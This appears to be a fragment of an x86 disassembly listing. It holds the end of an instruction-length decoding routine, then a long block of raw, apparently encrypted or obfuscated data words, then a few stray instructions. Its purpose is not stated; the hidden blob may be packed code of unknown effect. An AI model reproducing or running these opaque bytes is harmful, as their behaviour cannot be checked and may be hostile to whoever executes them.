loc_5A2D22:				; CODE XREF: sub_5A2AD1+226j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5A2D57
		cmp	edi, 7Fh
		ja	loc_5A2D57
		test	bl, 38h
		jnz	loc_5A2D57
		cmp	[ebp+var_7], 0
		jz	loc_5A2D51
		movzx	eax, [ebp+var_4]
		jmp	loc_5A2D54
; ---------------------------------------------------------------------------


loc_5A2D51:				; CODE XREF: sub_5A2AD1+271j
		push	1
		pop	eax


loc_5A2D54:				; CODE XREF: sub_5A2AD1+27Bj
		mov	[ebp+var_1], al


loc_5A2D57:				; CODE XREF: sub_5A2AD1+255j
					; sub_5A2AD1+25Ej ...
		mov	dl, byte ptr [ebp+arg_C+3]
		mov	bl, [ebp+var_6]


loc_5A2D5D:				; CODE XREF: sub_5A2AD1+136j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5A2D88
		dec	eax
		dec	eax
		jz	loc_5A2D7E
		and	bl, 7
		add	[ebp+var_1], bl
		jmp	loc_5A2D90
; ---------------------------------------------------------------------------


loc_5A2D7E:				; CODE XREF: sub_5A2AD1+29Cj
		mov	al, [ebp+var_3]
		add	al, 6
		jmp	loc_5A2D8D
; ---------------------------------------------------------------------------


loc_5A2D88:				; CODE XREF: sub_5A2AD1+294j
		mov	al, [ebp+var_3]
		add	al, 4


loc_5A2D8D:				; CODE XREF: sub_5A2AD1+2B2j
		add	[ebp+var_1], al


loc_5A2D90:				; CODE XREF: sub_5A2AD1+2A8j
		mov	al, [ebp+var_1]
		dec	[ebp+var_1]
		test	al, al
		jz	loc_5A2DB8
		movzx	ecx, [ebp+var_1]
		inc	ecx


loc_5A2DA3:				; CODE XREF: sub_5A2AD1+2E1j
		mov	edi, [ebp+arg_4]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5A2DA3


loc_5A2DB8:				; CODE XREF: sub_5A2AD1+2C7j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
sub_5A2AD1	endp

; ---------------------------------------------------------------------------
		db 8Dh
		dd 0AD905F85h, 0E9858906h, 0E806A833h, 13h, 2EA93D70h
		dd 0B6035D37h, 4179F87Dh, 0AA622E9Ah, 8BC636CBh, 94B45EC7h
		dd 5DD0C681h, 81600000h, 95ACF5E1h, 68615Ch, 60000000h
		dd 11E9DA8Bh, 8B000000h, 5E453A5Bh, 0F4E17DC9h,	5F12DCABh
		dd 254BCE60h, 810F5F61h, 4, 61616060h, 0F93E0C8Bh, 7238C181h
		dd 42BB45C7h, 813394C0h, 3E6B8AC1h, 0F2816650h,	0F181E438h
		dd 43A3D245h, 5E8h, 0CD444F00h,	0D0800B4Dh, 0F515A6Dh
		dd 68Ch, 0B4EB8100h, 8F6B0B33h,	0DB813E04h, 22EDE4A6h
		dd 2870Fh, 0D38B0000h, 0CDFEEF81h, 14E93703h, 0C0000000h
		dd 47C6AE5h, 22E3E081h,	2DE624A6h, 0BC4B97E9h, 8105DF7Fh
		dd 3CDFAC7h, 0DA816637h, 0FF81A317h, 0FFFFA318h, 0FF7E850Fh
		dd 13E8FFFFh, 96000000h, 9A0A4486h, 60B25519h, 28296EDBh
		dd 71F59312h, 58F88A28h, 1AE9h,	0E1572800h, 0E7339C74h
		dd 77h,	3 dup(0)
		dd 0E9000000h, 0D1Ch, 0AD968B68h, 0E8E4E906h, 6168FFFAh
		dd 0E906AD97h, 0FFFAE8DAh, 0AD990868h, 0E8D0E906h, 1B68FFFAh
		dd 0E906AD9Ah, 0FFFAE8C6h, 0AD9B7E68h, 0E8BCE906h, 1368FFFAh
		dd 0E906AD9Eh, 0FFFAE8B2h, 0AD9F8268h, 0E8A8E906h, 8B68FFFAh
		dd 0E906ADA0h, 0FFFAE89Eh, 0B6F4BDDCh, 0E125600Dh, 0D7531A3Eh
		dd 783C66Ch, 70B6FB9Ch,	2B4CC6EBh, 0DF7F2066h, 89AB1492h
		dd 0BAD97AC0h, 3537B7F3h, 56C9793h, 2F6DB6h, 88155CFFh
		dd 0B33E1852h, 120C833Ch, 50DD90B1h, 2F4ED147h,	2E074EEEh
		dd 3D7417F8h, 6B611FBh,	90FF09BDh, 72B5FFFFh, 4C8E54D9h
		dd 70A86AAAh, 5FA90F5Bh, 0B6009257h, 1B179873h,	1477692Fh
		dd 3CCEh, 0B5E75100h, 4FAED80Eh, 35B60005h, 0CFB8FD92h
		dd 59C9862h, 5338B600h,	26608ED2h, 0B60004E2h, 752177A0h
		dd 1477F899h, 1007Ch, 0AED80600h, 0B600116Ah, 0EE8EFF58h
		dd 0F7217AA7h, 155CFFACh, 3B761788h, 0E1C268F6h, 74A50A43h
		dd 57D74E4Ah, 0B2F610AFh, 90AF57D6h, 0AC0C27A7h, 84296003h
		dd 0F531781Bh, 57DBE413h, 0D59CBFAFh, 0E5A0CE31h, 0C766C9B3h
		dd 0B832588Eh, 6BAFDAAFh, 0C8C00A7Fh, 0BAAF586Dh, 0BEA40791h
		dd 946FE63Ch, 0F2260A97h, 8E3C8735h, 0E2E22660h, 0FFA0AF57h
		dd 0FB3D1653h, 1BADCB71h, 0AF57E31Fh, 0BAD94AE5h, 3B7DAEF3h
		dd 0FFEA9E2Dh, 0E01A40B5h, 0B5FFE9A8h, 0D967B19Ah, 3D9F287Eh
		dd 8A266086h, 5CBCAA8Bh, 6310D173h, 0B7A0F926h,	5674DF61h
		dd 581CC6Dh, 61849DDFh,	7389E4F2h, 94D97A25h, 7FC9FD74h
		dd 2B9417ECh, 0ADCh, 0E9CD574h,	79CD88A5h, 0AFFBB2D6h
		dd 9F2B6E04h, 0C85E1334h, 43E42E43h, 7717B80Eh,	2143EC3Ah
		dd 0D271D268h, 4D9F0F9Bh, 56CFF3Bh, 9887C5B6h, 97135EFFh
		dd 0FA40092Ch, 0EA1CBADDh, 0AF57D6AEh, 284ABB94h, 49EF3865h
		dd 0C1E55EFEh, 56887h, 0ACF15AB6h, 56AAAh, 4AD06B6h, 7F3A57B8h
		dd 0F8817D39h, 0B4641477h, 0BF000000h, 0F3F45CFFh, 0C16E63F3h
		dd 168F140Dh, 73FB3875h, 0AF583104h, 1C3DFC9Fh,	0E2DBCC51h
		dd 3955BEA4h, 0D0733C7Ch, 21931499h, 8FDA6C9Ah,	75B60038h
		dd 59FB4CDAh, 1D82C4E2h, 0E7BCAAD7h, 15359E4Ch,	0EC0AD058h
		dd 862B6E03h, 0FB9C0395h, 9EA10B6h, 9F9B236Ah, 65BCAAD7h
		dd 3BE46ECAh, 0BAB1571Ah, 0DCEC7F56h, 0A0666DFh, 0FB9E0000h
		dd 0A6CB74B2h, 5CFCA7E3h, 2E9115h, 3D5EC145h, 0CAD2A70h
		dd 92286506h, 0CE5C1131h, 388EC765h, 69BDF497h,	0DDDD6FFDh
		dd 0A7B6056Dh, 5EFFBA61h, 92C9713h, 0D73F7B8Dh,	0E705AF57h
		dd 57D765A5h, 1BF45FAFh, 0FFBFE422h, 1788155Ch,	5EE93D74h
		dd 67A145FEh, 0B6000ABCh, 49042586h, 0CCCC7EE4h, 0B6B6000Ah
		dd 1FCBA49Dh, 59DF92B4h, 0B4D67CEAh, 0B6000B74h, 0B5B3E54Eh
		dd 0B6000B72h, 0B0FCA50Eh, 0AB8F00Ah, 0A18AB600h, 0C1571240h
		dd 77E67955h, 2D4BB414h, 4AEE3F64h, 66688h, 1CBA9300h
		dd 57D6AEEAh, 0D47694AFh, 0AF57D6D4h, 0CAC85AEh, 0B54319BBh
		dd 83DCA508h, 1269839Ah, 0DAC6ED8h, 0E954F614h,	0FFB6004Bh
		dd 0FE3A7F14h, 89C3E750h, 64109A62h, 249B128Dh,	5B1EBCDBh
		dd 95553662h, 0B600CF91h, 0DDDD462Dh, 14772AE1h, 61204h
		dd 0B5E71F00h, 54F7D80Eh, 0CFB8F595h, 8E798369h, 74B5FFE0h
		dd 909456DBh, 2CB5FFE0h, 0E0DCDE47h, 71477DBh, 5EBh, 0F1220118h
		dd 0E1C2F843h, 77A00D40h, 0F93F7616h, 0ECA2C973h, 0B760B5FFh
		dd 0A20DAB51h, 4962CF86h, 0FFEC8981h, 58D07BB5h, 15166F8Eh
		dd 0D2882C42h, 3B5B5044h, 0E6F02976h, 5F4842A9h, 4FCE21ABh
		dd 0E491558Ch, 111CAEB4h, 0F348BD8Eh, 0E252DB58h, 8E367294h
		dd 0C20C48BDh, 7A2DCB4h, 0C4BD967Ch, 7A17F826h,	1731F23Fh
		dd 0EFD8D15Eh, 0AC3ABF49h, 0A7084F65h, 4861CE8Bh, 2548AB5Fh
		dd 0D675DE6Ch, 81EC699Fh, 8D2E59C4h, 85F34h, 1950F700h
		dd 480D228Dh, 7E3751F2h, 0AEEB8728h, 0DB96B718h, 61B1C04Fh
		dd 96398DC0h, 0C26DB9F4h, 0F45FEBA2h, 1A821851h, 708286C0h
		dd 3A40B605h, 7E30BA1Dh, 575FCD2h, 0F3F2CA04h, 7F17E060h
		dd 7FD77639h, 24D3ABA3h, 55DAB331h, 4E072689h, 44FF5DEAh
		dd 50D864A6h, 9AAB606h,	6C11C468h, 15BC8641h, 0CDA6F73Ch
		dd 31B78F79h, 6B64B606h, 0D4521B3Ah, 4367C273h,	6320939h
		dd 6B9DFBB6h, 0B606322Fh, 0DC413A15h, 0DD692043h, 631FB2Bh
		dd 0CD84A8B6h, 76B7D679h, 19129FD6h, 3B7B8320h,	87B60622h
		dd 0D97C832Ch, 8AA90A90h, 989C5EC3h, 0BB60632h,	28F9266Bh
		dd 0D2E64B06h, 36D958D9h, 6E0D149Dh, 0F60E327h,	3B000001h
		dd 0AEEA1CBAh, 94AF57D6h, 93B27DBBh, 638955DAh,	57D6E1D9h
		dd 5200A3AFh, 0B8918A17h, 0C48DAF70h, 0D79B9F5Fh, 6508AF57h
		dd 9606872Ch, 0FF4FF92Dh, 0C5B6056Bh, 6CE8EE8Bh, 0B7A06011h
		dd 24A0FE11h, 329310F3h, 74Ch, 0BE0C45E4h, 0E93D7815h
		dd 0DF6B2246h, 0F9BDE74h, 78CE83A4h, 3354BEF3h,	0E787287Eh
		dd 91B31CAAh, 42E142D8h, 3D2FBF0Bh, 5718F8Bh, 83775B6h
		dd 88155CFFh, 8F3B7617h, 0D6E32761h, 98C0AF57h,	8B5B4CD1h
		dd 218208A0h, 53FC4A03h, 822D7930h, 4E0324E1h, 52DFC8E1h
		dd 0B0FDB0D1h, 0D4DB44F1h, 0CA8FEB3h, 12DFD610h, 0EF7h
		dd 59BA4800h, 0F029763Fh, 98D7B8h, 0FFF20000h, 0B2FB9D5Ch
		dd 0A7433C6Dh, 0D6CBCF79h, 9EB9AF57h, 65A1A91Ah, 60AF57E7h
		dd 40E3EA4Bh, 0E78682C4h, 0D37CAF57h, 6103ACFAh, 44438B28h
		dd 3BAF57E7h, 31BB05AEh, 0D09681E8h, 66C96F96h,	0DD3B8FC6h
		dd 571515B7h, 44EFAF58h, 5DFFCFD4h, 76168F14h, 2B422BDEh
		dd 0E7D02841h, 0D55EF7BAh, 0C36FAECEh, 0EF19AD86h, 0AF58CD44h
		dd 24807DD7h, 0C96512DFh, 7FFFFFFEh, 72BFF294h,	0BAB4FF39h
		dd 33703559h, 48D1BEFAh, 35000003h, 245C0DA3h, 0C9E24F02h
		dd 99B8FA31h, 5CFF141Fh, 564E8815h, 58AF57D7h, 183B42E3h
		dd 1AF3BAD9h, 0D17D668Ch, 0F89B0494h, 7C551839h, 0D6FF3737h
		dd 81A4AF57h, 72A26BC8h, 63EB1DC9h, 5B6056Bh, 1317B1DFh
		dd 0F1B6056Bh, 6B7CBC46h, 0ED46B605h, 7EAA854Bh, 0F324C2DBh
		dd 0E93D8625h, 81000005h, 0B81BAFE6h, 0E748DE9Bh, 11B20841h
		dd 41E2387Dh, 52D96D20h, 1F52F31Fh, 4B06288Bh, 793054FFh
		dd 0AAE3822Dh, 2852881Ch, 0B60571F0h, 0BAAF94D2h, 22763F59h
		dd 7397DE7Dh, 73A5EC90h, 236E0F90h, 50193CE7h, 642949AAh
		dd 0C04AEE3Fh, 0A3923E5Fh, 0F75ED399h, 69F04FDh, 1A8B2865h
		dd 34ED327Bh, 4CD55A1Fh, 4734672Ah, 5BF05FDEh, 0FFB2D3DAh
		dd 0CD1703ABh, 9CDE12DFh, 61EA516Ch, 9AB8F03Eh,	263h, 0BB6E7ADh
		dd 0D64EA4A6h, 816AAE46h, 2D261220h, 4CC1EC31h,	5A000002h
		dd 0DF0BB6E7h, 0D71317B1h, 28F9AF57h, 0DCDE5606h, 56C26D7Dh
		dd 113E7A8Ch, 2B04AF58h, 102E4486h, 0D375AE47h,	0EB8C159Ah
		dd 8BA879A6h, 9AA03CEh,	0E44D268Ah, 30EBFAD6h, 0A5CA35ECh
		dd 88A48E0h, 9D000002h,	0DF0BB6E7h, 57D771ADh, 0E68C77AFh
		dd 60CB75A3h, 0D5E93BC3h, 2E85AE46h, 2D997585h,	0E47CEC31h
		dd 6000001h, 0DE6AAED8h, 0FF58AE46h, 0DE79B1CBh, 0E04BAE46h
		dd 0B6E76348h, 75ADDF0Bh, 6BAF57D7h, 0CACE588h,	52BD69C2h
		dd 1E53F431h, 9AF9891h,	0D642509Ah, 0F55EAE46h,	5C16602Ch
		dd 0A53F1AD0h, 0E2DE5ADEh, 5EC31A3h, 19Bh
		dd 0FA5A9DDFh, 0A67A1718h, 341F462Ch, 0B5E3D754h, 3B59BA6Eh
		dd 0DA792672h, 0EA377A1Bh, 8422D8B1h, 57D74642h, 85133CAFh
		dd 97DE7D26h, 48EAD573h, 478F9805h, 0AF57D743h,	0B5F09E01h
		dd 0D2463F68h, 0C67DDF68h, 0F677E620h, 0E24DB5FFh, 0F679BDBDh
		dd 42AB5FFh, 2543DC41h,	0DC4BC76Ch, 865CC453h, 6F6CEF74h
		dd 0B24CE0ADh, 78F97D79h, 3A910783h, 418D7979h,	55681477h
		dd 0B3000000h, 4FEFB5E7h, 0FF4C0FCBh, 0E13D710Ah, 221BFB7Ch
		dd 146B9D49h, 0CAB60020h, 95034AE9h, 0D01AC06Bh, 28B8EEBAh
		dd 3556B738h, 0B6E23B78h, 0B51115D5h, 0B7ADB600h, 32662B4Ch
		dd 6E94D859h, 0B4DCDCh,	6305A6B6h, 0BB94852Ah, 8CDB97Dh
		dd 0B2281477h, 0F3000000h, 88155CFFh, 0F63B7617h, 0AFEA8768h
		dd 96B82902h, 0D34556DBh, 0C360294Ch, 3C8AC362h, 57DB9BCAh
		dd 2C6508AFh, 0F23650FEh, 0D0AF57DAh, 0AD4B3167h, 906A2342h
		dd 818634D8h, 0F9810B0h, 4AF016ADh, 4BBAA2Ch, 48175BBh
		dd 586BBEFAh, 0E47E5AFh, 0DD7688A1h, 6C9B9F29h,	0CE69AF58h
		dd 0BB19C6Ah, 0B893B603h, 0CD80A102h, 0F8B5D679h, 272323C0h
		dd 0AD1695F3h, 354h, 86044DECh,	0F135701Dh, 27632A4Eh
		dd 1793D67Ch, 40C68BACh, 3B5CB6FBh, 0EF8F3076h,	99BB64A2h
		dd 4AE94AD0h, 0C5278703h, 5758783h, 103F7DB6h, 97135EFFh
		dd 0FA40092Ch, 155CFFDDh, 3D741788h, 0D7181FE9h, 2193AF57h
		dd 6FDA6C9Ah, 55B60002h, 0FF87ACFAh, 1788155Ch,	5256F074h
		dd 51AF57D7h, 0C36C7E37h, 948DC062h, 6507E816h,	296872Ch
		dd 7EAC1785h, 0FFF5A1CCh, 6BC863B5h, 0FFF5A3E3h, 0CB543FB5h
		dd 77CCD3CFh, 253A14h, 0E70D0000h, 0AED80EB5h, 0B600054Fh
		dd 3EC1A35h, 198A2E63h,	4D5D1h,	991AF1B6h, 77F8AD99h, 1054814h
		dd 0FFD30000h, 1788155Ch, 248F3B76h, 0B5E64B0Eh, 7C1F8063h
		dd 9172E835h, 2374B9FCh, 420B2AF5h, 0CCCC7EA4h,	0B6AF57D6h
		dd 4BB11B9Dh, 30D44201h, 55AD5E0Eh, 0C606B258h,	5C35540h
		dd 0AF58B1D2h, 0D3B84294h, 1A38708Ah, 210AAF58h, 0A9FF92A9h
		dd 4BEDC68Fh, 0B20841E4h, 0F63B7211h, 0ACE58768h, 0A219BB0Ch
		dd 59F5DE04h, 2586971Ch, 0B4E54A03h, 0FE77E264h, 0E24DB5FFh
		dd 82B1E3A4h, 0E42466E2h, 0DEB5FFFDh, 0DC6E9C75h, 0B5FFFDDCh
		dd 76948DA6h, 841E7C8h,	325472ABh, 0B5FFFDF6h, 333563CCh
		dd 0BCAAA006h, 4CB753FCh, 3A20662Bh, 0B8F0B5D9h, 0ED1B56F7h
		dd 0EC7F8E40h, 0E5E06142h, 7D000001h, 0AC1793DAh, 0DB44C287h
		dd 0DB6F4BDh, 3DE62461h, 4ED5511Ch, 0B46E72Bh, 3F7214BFh
		dd 6D2448EBh, 9ED776D9h, 3C4E9C08h, 0B60575FCh,	0FF9B80C6h
		dd 6997135Eh, 0D781B9C3h, 6043AF57h, 0FE2F743Dh, 690C9305h
		dd 0E7BD9A20h, 0AED80EB5h, 0B600054Fh, 4AECD735h, 79819A07h
		dd 0B6000541h, 2489CC62h, 6F58F3F3h, 4FC38C2h, 4298B600h
		dd 5A6E224h, 0B39CB600h, 15258E65h, 1477F939h, 0CADCh
		dd 5454A600h, 0D3130246h, 19DDDD6Fh, 8CA7B600h,	0FF1E0593h
		dd 1788155Ch, 74F63B76h, 0AF57DC01h, 1CCA83A2h,	0F46C86DAh
		dd 68D9083Ah, 0A12B8DC4h, 89165FFEh, 0F317AC00h, 0FFF52249h
		dd 0B8DBC4B5h, 3D7BACF1h, 59E23813h, 609A40FBh,	0BCAA93D8h
		dd 4D08258Eh, 521F3FE0h, 0B5E3DCCDh, 4B06288Bh,	2EDCB5E6h
		dd 5DE9A4C5h, 0C35625B7h, 4C11F204h, 0A9DAFE3Ah, 726BC4BCh
		dd 95D87926h, 8053B473h, 68D9DAECh, 0DCh, 0E9CD574h, 79CD88A5h
		dd 0AFFBB2D6h, 9F2B6E04h, 0C85E1334h, 43E42E43h, 7717B80Eh
		dd 2143EC3Ah, 0D271D268h, 4D9F0F9Bh, 576FF3Bh, 9887C5B6h
		dd 97135EFFh, 0AFE68669h, 0CE87A609h, 0DE9BB718h, 0FFCBF05Ah
		dd 0B6FF9D5Ch, 0ACCF50DDh, 6F0ECF6Dh, 0B7A0F926h, 0C258316Ah
		dd 0BA60DB79h, 0D9CEDA1Ch, 1B647C8Ch, 1DFF4B9Dh, 6AC5B606h
		dd 0F8395CC5h, 0A733FA56h, 0BC3B1D23h, 0BA3CEAC3h, 0D3493C09h
		dd 6C016225h, 9A058F29h, 0EE14B2FBh, 6C85C5Ch, 9C0D26B6h
		dd 8063B5FCh, 91D4795Ah, 4B9D1B0Ch, 2853BD57h, 1D248D7Eh
		dd 50F3377Eh, 663F642Dh, 33598DC8h, 53BD9189h, 50D87328h
		dd 5C1132F3h, 65204ED7h, 82238838h, 3EE7CCF3h, 0C95D1437h
		dd 218EC766h, 3A0h, 0CBB07B00h,	8C1158FFh, 0F4397013h
		dd 0E340092Bh, 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh
		dd 60CD84A4h, 4AD792BFh, 0E08950FAh, 405h, 4E88300h, 8B240487h
		dd 0F682424h, 8900007Bh, 7668242Ch, 89000063h, 0B850241Ch
		dd 185612F4h, 0F702E0C1h, 54040D0h, 6805E0F2h, 5458C589h
		dd 83241C8Bh, 505104C4h, 8B8h, 58C18900h, 2989D901h, 2434FF59h
		dd 4C4835Bh, 5D2434FFh,	4C481h,	0D3E90000h, 9CFFFADBh
		dd 0ADA18CB8h, 0FFC50306h, 69475EE0h, 296DFE73h, 0FD1D6E46h
		dd 0EE15D651h, 3DD52E04h, 71A5A62Ch, 0CFD3B802h, 31204156h
		dd 19772B5Dh, 6A5F8575h, 1BA60E21h, 60C08B7Bh, 8E9h, 0FFD89800h
		dd 3B6FC2E8h, 0BF666072h, 22B68D9Dh, 0BD836161h, 6A81ED9h
		dd 83097500h, 0A82DE9BDh, 19740006h, 0C08B5350h, 3FCB8h
		dd 0B5858900h, 8D06A807h, 0AAA1AC9Dh, 5BD3FF06h, 0E9BD8358h
		dd 6A82Dh, 53501774h, 3FCB8h, 0B5858900h, 8D06A807h, 0AA9E9B9Dh
		dd 5BD3FF06h, 0F16BBA58h, 6A33D6h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 2A3E08C3h, 11E9C0h, 57900000h
		dd 0FA16E893h, 316E7338h, 0A00700EBh, 66934341h, 8B51A3BAh
		dd 39D381C0h, 8310C566h, 0A8339DBDh, 840F0106h,	40h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0D8C35747h, 83666312h
		dd 0A81725BDh, 850F0006h, 14h, 0BD83F98Ah, 6A80061h, 5A840F00h
		dd 66000000h, 1259F381h, 406E9h, 0FC00h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0F37EDBC3h, 0C7F7F2AAh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 28C35242h, 0E5F9E599h, 3800Fh, 8B660000h
		dd 0A28BEFDEh, 0A389C62h, 0E190387Ah, 0C705D744h, 3D3E4CC7h
		dd 6C3E1029h, 0AF67A9C1h, 48724D98h, 487AE3C5h,	6C3E2BC5h
		dd 0AF6FD9C1h, 0BFD954FBh, 939153D1h, 85E49811h, 6C3E8C95h
		dd 846BC4ABh, 6C3E62C2h, 31FD6CE1h, 681AF448h, 681A0840h
		dd 6C3E26D9h, 30FD4684h, 0F275E0FAh, 39E11641h,	6C3E6229h
		dd 81BF6CC1h, 6A933B15h, 846D4CABh, 6C3E26C2h, 37FD48E1h
		dd 681AD548h, 681A8040h, 6C3E62D7h, 0A3FD6282h,	0ACB5D753h
		dd 84694CABh, 6C3E26C2h, 33FD4CE1h, 681AF548h, 681A8040h
		dd 6C3E62DAh, 0B3FD6686h, 26338DE4h, 63A7B5A0h,	6C3E2F44h
		dd 6FBB1CC1h, 633E89C1h, 0DFAE1A76h, 0E0313254h, 6C3E31DBh
		dd 6C3E8A29h, 0EBEDE0C1h, 1E12C1CAh, 2393012Bh,	81E9F54Ah
		dd 0E70357DBh, 6AE3911h, 6FD666C1h, 4C3E98C1h, 0E5618F9Eh
		dd 0ED3A02BDh, 753A3785h, 2B3E89C1h, 0FFDA0796h, 0AB370086h
		dd 11853D73h, 63018B18h, 921A00C0h, 6C3CA4CEh, 4D8913C1h
		dd 3A3EE399h, 6C3EC729h, 0AF6042C1h, 484AB89Fh,	487A19C5h
		dd 6C3E5AC5h, 0AF6860C1h, 84ACAA72h, 6C3E89D3h,	563E4C4Bh
		dd 99F3BE7Dh, 0D83EF34Ah, 0F2DE7EC0h, 0D758DD94h, 6964B825h
		dd 6C3E11CDh, 6C3E8C28h
		dd 5F947EC1h, 64B5E6AAh, 9C01CE7Ah, 24B5FEFEh, 3E3E263Dh
		dd 6C3E2529h, 0AF6433C1h, 486A009Bh, 487A45C5h,	6C3E77C5h
		dd 0AF6C73C1h, 0D6582FF1h, 6D868C5Bh, 633E26C1h, 6C3E1047h
		dd 0B78186C1h, 3CEA4E50h, 3D3E0850h, 6C3E3229h,	0AF67B8C1h
		dd 4872C598h, 487AA7C5h, 6C3E0AC5h, 0AF6FC8C1h,	8CB2F469h
		dd 6AD747C5h, 593E31C1h, 0BAEAF2CCh, 6C2AA545h,	769326C1h
		dd 0E4BBC612h, 0E1292B24h, 0B4648F34h, 4F34390h, 99B43F70h
		dd 6E714A7h, 6FD61FC1h,	4C3E26C1h, 0E565D09Ah, 0ED3AAD9Dh
		dd 773AE085h, 2F3E62C1h, 4EC8F292h, 58227FFAh, 0ADC82EB3h
		dd 86BB29C5h, 0DF3E13C1h, 0E731D09Bh, 6C3EC4C6h, 0BCB504A1h
		dd 0EC5F50A1h, 0E931F0F8h, 6C3E4D8Ah, 15B58F77h, 3E3E79C0h
		dd 6C3E8A29h, 0AF64E4C1h, 486AEB9Bh, 487AB0C5h,	6C3E8CC5h
		dd 0AF6C0EC1h, 86ECA771h, 3D5B21FEh, 2FC08A7h, 93BF9E80h
		dd 0EC3E62C1h, 6D2FB3CEh, 6C5498C1h, 6C3DA493h,	361E26C1h
		dd 38B74902h, 28BF8DE5h, 6C2AC0E5h, 3E7C62C1h, 86BF1A02h
		dd 4C7D428h, 0CF1FC906h, 6C3F206Ch, 87BF13C1h, 422BA8B8h
		dd 6C3FD228h, 3D3E08C1h, 6C3E3229h, 0AF67B8C1h,	4872C598h
		dd 487AA7C5h, 6C3E09C5h, 0AF6FC8C1h, 38AD275Eh,	8578AA8Eh
		dd 6C3E31CEh, 0CB3DC47Dh, 0CA44C98Eh, 0ABBC070Dh, 85270CA8h
		dd 6C3E895Eh, 846FC4ABh, 6C3E62C2h, 35FD68E1h, 681AD448h
		dd 681A0840h, 6C3E26D5h, 10FD4280h, 0ED58DA92h,	3702062Bh
		dd 0ACB3B9Bh, 93354842h, 6C531CCEh, 6C544CC1h, 6C3DCE91h
		dd 341E13C1h, 28B7D102h, 28BFC0E5h, 6C2866E5h, 3C7E31C1h
		dd 26B8BC02h, 14E0F7A7h, 0CD0D9DA1h, 0D3314C02h, 0E9F9E819h
		dd 6A9367E0h, 6C3E62C0h, 846931ABh, 6C3E98C2h, 33FD13E1h
		dd 681A5A48h, 681A5740h, 6C3E89DDh, 0F0FD9386h,	17426D91h
		dd 0C0399D10h, 6AB197A1h, 0ED3E4CC1h, 8341D32Eh, 9AE5AAF0h
		dd 245FAD2Bh, 846FC4ABh, 6C3E62C2h, 35FD68E1h, 681AD448h
		dd 681A0840h, 6C3E26DDh, 0E2FD4280h, 0DB16FD70h, 8EEAC2B5h
		dd 6C3E6A28h, 3DEC51C1h, 0C7900CBAh, 0E4311C9Fh, 6C3E26C3h
		dd 0D564E34Bh, 692322C9h, 0C570414Ch, 0D1B3646Ch, 6A939683h
		dd 6B4A60FAh, 0A5EF43F1h, 6CBCD86h, 6FD640C1h, 4C3E89C1h
		dd 0E565079Ah, 0ED3A469Dh, 783A1585h, 2F3E98C1h, 63FB8F92h
		dd 6C3E2C44h, 68BD1CC1h, 0A3E89C1h, 0EF24AC7Ah,	0C40DFF7Ch
		dd 0E83130C7h, 6C3E9894h, 0FF981E7Ah, 4983A5D9h, 6C38BBD6h
		dd 6C7D0CCEh, 61D7C4C1h, 573E62C1h, 0EF604EF4h,	6E04E5Fh
		dd 0DCE6DF86h, 6C5F9B42h, 633E1569h, 6C3ED245h,	3C3EAEC1h
		dd 6C3E6129h, 0AF6611C1h, 487A1199h, 487ACDC5h,	6C3E30C5h
		dd 0AF6E53C1h, 0EDB7C364h, 23B5902Ah, 6D148BE9h, 6C5431C1h
		dd 6C3D7094h, 311E4CC1h, 0B77B02h, 28BF17E5h, 6C258DE5h
		dd 397BC4C1h, 30329402h, 47839132h, 6FB697F0h, 0A3E4CC1h
		dd 8EBFF04Ah, 50B17DEEh, 5FA33442h, 633FC269h, 6C3E1144h
		dd 3E3E5BC1h, 6C3E9B29h, 0AF646CC1h, 486AAF9Bh,	487A92C5h
		dd 6C3E9EC5h, 0AF6C86C1h, 277B4B74h, 0CC8AC97Ah, 6C54C5DDh
		dd 6C3DA491h, 341E26C1h, 28B74B02h, 28BF8DE5h, 6C29C0E5h
		dd 3C7E62C1h, 0DDE25102h, 0BDB5FEBBh, 8EBF2A02h, 0F5D76513h
		dd 63E13C1h, 6FD6DCC1h,	4C3EC4C1h, 0E563A19Ch, 0ED3A15ADh
		dd 7B3ABC85h, 293E4CC1h, 267FE594h, 0B08DF94Ch,	3A3EE39Ch
		dd 6C3EC729h, 0AF6042C1h, 484AB89Fh, 487A19C5h,	6C3E54C5h
		dd 0AF6860C1h, 48EC364Bh, 0E2DC09D3h, 6C3344CEh, 64D762C1h
		dd 7D3E31C1h, 838AEEA0h, 0A3D5F2ABh, 846D26ABh,	6C3E13C2h
		dd 37FDD2E1h, 681A9848h, 681A2640h, 6C3E31D6h, 0CBFDCB82h
		dd 847D4AFCh, 6C3E26D0h, 0B0EE392Fh, 0C8FF0140h, 6A2941ABh
		dd 0B83A604h, 0ED585130h, 0D04CA28h, 0BFB52A9Bh, 0CF4E9B4Ch
		dd 0E1B3156Ch, 6A9320DAh, 5662D979h, 79BB51BAh,	473899D4h
		dd 22C9D50Eh, 414C6923h, 646CC570h, 9683D1B3h, 60FA6A93h
		dd 43F16B4Ah, 0CD86A5EFh, 0F305E983h, 21BD83A4h, 6ADA3h
		dd 8D8D0D74h, 6A84FAFh,	1B8h, 40E1FF00h, 4820Fh, 0BA660000h
		dd 830FE440h, 1, 2DE883F9h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 41C35242h, 0A1B88632h, 0F11D7C0h, 489h
		dd 6BB6600h, 81C08B5Ah,	681EE6CAh, 0D9BD8331h, 6A81Eh
		dd 0BD830975h, 6A82DE9h, 50197400h, 0B8C08B53h,	3FCh, 0FD58589h
		dd 9D8D06A8h, 6AAA213h,	585BD3FFh, 2DE9BD83h, 740006A8h
		dd 0B8535017h, 3FCh, 0FD58589h,	9D8D06A8h, 6AA9EB4h, 585BD3FFh
		dd 0B1EB8DBAh, 0F6816004h, 75F34DBFh, 61D6BF0Fh, 8D8DC08Bh
		dd 6ADAAC1h, 288D9509h,	8D8906A8h, 6A805B9h, 85C7DA8Bh
		dd 6A81469h, 695Ch, 348DB52Bh, 85C706A8h, 6A80BBDh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5A443B
		and	[edi-3Dh], bl

